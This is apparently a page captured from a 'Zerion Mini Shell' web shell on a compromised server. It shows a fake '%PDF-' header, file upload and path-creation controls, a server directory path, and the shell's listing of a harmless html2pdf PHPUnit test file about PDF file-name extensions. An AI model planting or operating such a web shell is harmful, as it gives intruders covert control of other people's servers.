%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emtnaeewxm/www/vendor/spipu/html2pdf/src/Tests/Output/
Upload File :
Create Path :
Current File : /home/emtnaeewxm/www/vendor/spipu/html2pdf/src/Tests/Output/FileNameTest.php

<?php
/**
 * Html2Pdf Library - Tests
 *
 * HTML => PDF converter
 * distributed under the OSL-3.0 License
 *
 * @package   Html2pdf
 * @author    Laurent MINGUET <webmaster@html2pdf.fr>
 * @copyright 2017 Laurent MINGUET
 */

namespace Spipu\Html2Pdf\Tests\Output;

use Spipu\Html2Pdf\Html2Pdf;
use Spipu\Html2Pdf\Tests\AbstractTest;

/**
 * Class FileNameOkTest
 */
class FileNameOkTest extends AbstractTest
{
    /**
     * test: the file extension must be PDF - OK
     *
     * @return void
     */
    public function testOk()
    {
        $object = $this->getObject();
        $object->writeHTML('Hello World');

        ob_start();
        $object->output('test.pdf');
        $result = ob_get_clean();

        $this->assertContains('PhpUnit Test', $result);
    }

    /**
     * test: the file extension is ignored if output string
     *
     * @return void
     */
    public function testIgnore()
    {
        $object = $this->getObject();
        $object->writeHTML('Hello World');
        $result = $object->output('test.bad', 'S');

        $this->assertContains('PhpUnit Test', $result);
    }

    /**
     * test: the file extension must be PDF - Error
     *
     * @return void
     * @expectedException \Spipu\Html2Pdf\Exception\Html2PdfException
     */
    public function testError()
    {
        $object = $this->getObject();
        $object->writeHTML('<p>Hello World</p>');
        $object->output('test.bad');
    }
}

Zerion Mini Shell 1.0